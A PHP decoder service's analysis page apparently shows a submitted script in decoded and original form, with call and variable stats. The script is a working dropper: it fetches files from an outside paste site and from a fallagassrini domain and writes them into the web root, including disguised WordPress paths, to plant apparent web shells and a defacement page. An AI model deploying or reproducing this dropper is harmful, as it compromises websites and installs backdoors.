Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTR..

Decoded Output download

<?php 
function http_get($url){ 
$im = curl_init($url); 
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); 
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($im, CURLOPT_HEADER, 0); 
return curl_exec($im); 
curl_close($im); 
} 
$check = $_SERVER['DOCUMENT_ROOT'] . "/xGSx.php" ; 
$text = http_get('https://ghostbin.com/paste/vm4rz/raw'); 
$open = fopen($check, 'w'); 
fwrite($open, $text); 
fclose($open); 
if(file_exists($check)){ 
echo $check."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
$check0 = $_SERVER['DOCUMENT_ROOT'] . "/un.php" ; 
$text0 = http_get('http://fallagassrini.xx.tn/un.txt'); 
$open0 = fopen($check0, 'w'); 
fwrite($open0, $text0); 
fclose($open0); 
if(file_exists($check0)){ 
echo $check0."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/7.php" ; 
$text2 = http_get('http://fallagassrini.xx.tn/7.txt'); 
$open2 = fopen($check2, 'w'); 
fwrite($open2, $text2); 
fclose($open2); 
if(file_exists($check2)){ 
echo $check2."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
$check3=$_SERVER['DOCUMENT_ROOT'] . "/Gass.html" ; 
$text3 = http_get('http://fallagassrini.xx.tn/index.html'); 
$op3=fopen($check3, 'w'); 
fwrite($op3,$text3); 
fclose($op3); 
if(file_exists($check3)){ 
echo $check3."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
$check5 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/wp-inc.php" ; 
$text5 = http_get('http://fallagassrini.xx.tn/clean.txt'); 
$open5 = fopen($check5, 'w'); 
fwrite($open5, $text5); 
fclose($open5); 
if(file_exists($check5)){ 
echo $check5."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
$check6 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/wp-inc.php" ; 
$text6 = http_get('http://fallagassrini.xx.tn/anon.txt'); 
$open6 = fopen($check6, 'w'); 
fwrite($open6, $text6); 
fclose($open6); 
if(file_exists($check6)){ 
echo $check6."</br>"; 
}else  
echo "not exits"; 
echo "done .
 " ; 
 
?> 

Did this file decode correctly?

Original Code

<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/xGSx.php" ;
$text = http_get('https://ghostbin.com/paste/vm4rz/raw');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else 
echo "not exits";
echo "done .\n " ;

$check0 = $_SERVER['DOCUMENT_ROOT'] . "/un.php" ;
$text0 = http_get('http://fallagassrini.xx.tn/un.txt');
$open0 = fopen($check0, 'w');
fwrite($open0, $text0);
fclose($open0);
if(file_exists($check0)){
echo $check0."</br>";
}else 
echo "not exits";
echo "done .\n " ;

$check2 = $_SERVER['DOCUMENT_ROOT'] . "/7.php" ;
$text2 = http_get('http://fallagassrini.xx.tn/7.txt');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else 
echo "not exits";
echo "done .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/Gass.html" ;
$text3 = http_get('http://fallagassrini.xx.tn/index.html');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
if(file_exists($check3)){
echo $check3."</br>";
}else 
echo "not exits";
echo "done .\n " ;
$check5 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/wp-inc.php" ;
$text5 = http_get('http://fallagassrini.xx.tn/clean.txt');
$open5 = fopen($check5, 'w');
fwrite($open5, $text5);
fclose($open5);
if(file_exists($check5)){
echo $check5."</br>";
}else 
echo "not exits";
echo "done .\n " ;

$check6 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/wp-inc.php" ;
$text6 = http_get('http://fallagassrini.xx.tn/anon.txt');
$open6 = fopen($check6, 'w');
fwrite($open6, $text6);
fclose($open6);
if(file_exists($check6)){
echo $check6."</br>";
}else 
echo "not exits";
echo "done .\n " ;

?>

Function Calls

http_get 1
curl_init 1

Variables

$url https://ghostbin.com/paste/vm4rz/raw
$check None/xGSx.php

Stats

MD5 89cedd38d2b1d001a9f3aef16bd5ae23
Eval Count 0
Decode Time 101 ms